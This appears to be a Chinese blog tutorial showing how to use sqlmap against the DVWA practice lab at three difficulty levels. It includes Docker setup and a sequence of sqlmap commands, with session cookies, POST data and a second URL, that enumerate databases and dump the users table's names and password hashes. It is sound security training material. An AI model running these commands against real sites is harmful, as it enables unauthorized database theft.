DVWA靶场-SQL Injection(难度低、中、高)-sqlmap自动化漏洞扫描
一、环境搭建
1.搭建dvwa靶场环境
此处使用docker容器搭建靶场。使用docker平台即可实现靶场的快速搭建,比较方便。使用docker搜索dvwa镜像:docker search dvwa。
此处选择第一个镜像文件下载:docker pull citizenstig/dvwa。
下载完毕后,可以使用docker images来查看所有的镜像,从中可以找到dvwa。
从图中可以看出已经将镜像文件下载到本地,使用以自定义的密码启动mysql服务,并以后台方式运行的方式:docker run --name dvwa -d -p 80:80 -p 3306:3306 -e MYSQL_PASS=“mypass” docker.io/citizenstig/dvwa。
截图中可以看到,容器中的80端口映射到本机80端口冲突,是因为本机80端口已被占用,所以端口映射改成”-p 8080:80”,这样就不会有端口冲突。 此处可以选择没有被占用的端口进行映射。
展示正在运行的容器列表及主要信息:docker ps(加上-a参数展示全部容器列表)。
浏览器输入本机IP:8080,访问得到dvwa页面,如果访问不成功,重启docker:systemctl restart docker,再运行dvwa:docker start dvwa。
注意:此处setup check处除reCAPTCHA key选项为红色外,其余选项都要为绿色才算成功搭建。第一次登录需要创建数据库,点击“Create/Reset Database”按钮。
2.设置靶场
接下来我们要进入靶场。登录dvwa,默认的用户名密码是:admin/password。
登录进来之后页面如下图所示:
我们要先去DVWA Security选项后中调节难度,可调节为low、medium、high以及impossible。先将难度改为low,点击Submit按钮。后续会逐步调高难度。
3.寻找目标注入点
调节难度后点击SQL Injection选项,可以看到有个User ID输入框,尝试输入1点击提交。
可以看到,提交后,页面给出回显,提交请求的URL变成了 IP:8080/vulnerabilities/sqli/?id=1&Submit=Submit#,这就是我们的目标注入点。
二、安装sqlmap
安装具体步骤可查看https://blog.csdn.net/Z_David_Z/article/details/113278533
此处使用kali自带的sqlmap。打开shell,输入sqlmap -h即可查看sqlmap指令。
图中标示的-u参数是使用中经常使用的一个参数,其后接目标url,即可进行自动注入。
三、使用sqlmap自动化扫描
(一)low级别难度
1.使用 -u参数进行自动注入
sqlmap -u “目标url”
在使用-u参数的时候遇到了登录验证的问题,系统重定向到了登录页面,所以此时我们要在使用sqlmap的时候加上cookie参数来授权给sqlmap。
2.添加cookie参数
在浏览器登录访问之后,按F12
进入开发者工具,选择Network
选项,此时该选项下无数据。
刷新页面后,出现文件后单击第一个文件,出现Request Headers后选择Cookie值
右键该值,选择Copy,再粘贴到刚刚的sqlmap命令添加的cookie参数中。
sqlmap -u “目标url” --cookie “站点cookie”
3.自动注入
注意:在注入时,会遇到sqlmap频繁询问现象,可以使用--batch
参数,这样每次询问自动选择y
选项。
sqlmap会对id
和Submit
两个参数进行自动注入,最终得出参数id
可注入,并注入出后台的数据库类型、操作系统和中间件版本。
既然存在注入点,那就开始获取数据库名。
sqlmap -u “目标url” --cookie “站点cookie” --dbs
从图中可以看出有4个数据库,其中information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式。元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。我们可以看下dvwa数据库中有什么表。
sqlmap -u “目标url” --cookie “站点cookie” -D “数据库名” --tables
从图中可以看出dvwa数据库中有两张表,我们可以选择其中的users表来看下表的列名。
sqlmap -u “目标url” --cookie “站点cookie” -D “数据库名” --T “表名” --columns
users表中共有8列,如果想看表中具体的数据,可以把--columns
改为--dump
,这样就会获取这张表中的数据。
sqlmap -u “目标url” --cookie “站点cookie” -D “数据库名” --T “表名” --dump
这样我们就获得了dvwa数据库users表里所有的数据,包括账户名和加密存储的账户密码。我们还可以查询指定列的数据。
sqlmap -u “目标url” --cookie “站点cookie” -D “数据库名” --T “表名” --C “列名1”,“列名2” --dump
我们选择查询账户名和密码,由于mysql数据库对密码字段做了哈希,命令执行过程中会询问你是否进行解析,这里选了y。
到这里就完成了dvwa靶场中low级别难度的sqlmap自动注入,成功拿到了dvwa数据库的用户名和密码。
(二)medium级别难度
1.调整为medium级别难度
我们先把靶场难度提高到medium级别后,看到原本的输入框变成了下拉选择框,尝试选择1进行提交后有回显,但url无变化,请求方式也由GET变成了POST。
2.查找注入点
此时,如果使用之前的命令sqlmap会告诉我们缺少请求字段数据,对于POST请求,发送的数据放在了请求体里,而不是在URL里。
那我们使用--data
参数,将post请求中发送的参数按照参数1=值1&参数2=值2
的格式放进来。
sqlmap -u “目标url” --data “发送的参数” --cookie “站点cookie”
最终,注入点查找成功。
3.自动注入
其余步骤就如同low级别时一致,只是多了--data
参数。
sqlmap -u “目标url” --data “发送的参数” --cookie “站点cookie” --dbs
sqlmap -u “目标url“ --data “发送的参数” --cookie “站点cookie” -D “数据库名” --tables
sqlmap -u “目标url“ --data “发送的参数” --cookie “站点cookie” -D “数据库名” -T “表名” --columns
sqlmap -u “目标url“ --data “发送的参数” --cookie “站点cookie” -D “数据库名” -T “表名” -C “列名1”,“列名2” --dump
(三)high级别难度
1.调整为high级别难度
我们先把靶场难度提高到high级别后,看到的是一个点击链接,点击后弹出以一个带输入框的新页面,在新页面输入1后点击提交,原页面回显内。原页面数据包请求方式为get,弹出的输入页面请求方式为post。
2.查找注入点
输入页面和原页面是不同的url,此时需要用到联合查询命令second-url
。
sqlmap -u “输入页面url” --data “发送的参数” --second-url “原页面url” --cookie “站点cookie”
最终,注入点查找成功。
3.自动注入
其余步骤就如同medium级别时一致,只是多了--second-url
参数。
sqlmap -u “输入页面url” --data “发送的参数” --second-url “原页面url”–cookie “站点cookie” --dbs
sqlmap -u “输入页面url“ --data “发送的参数” --second-url “原页面url” --cookie “站点cookie” -D “数据库名” --tables
sqlmap -u “输入页面url“ --data “发送的参数” --second-url “原页面url” --cookie “站点cookie” -D “数据库名” -T “表名” --columns
sqlmap -u “输入页面url“ --data “发送的参数” --second-url “原页面url” --cookie “站点cookie” -D “数据库名” -T “表名” -C “列名1”,“列名2” --dump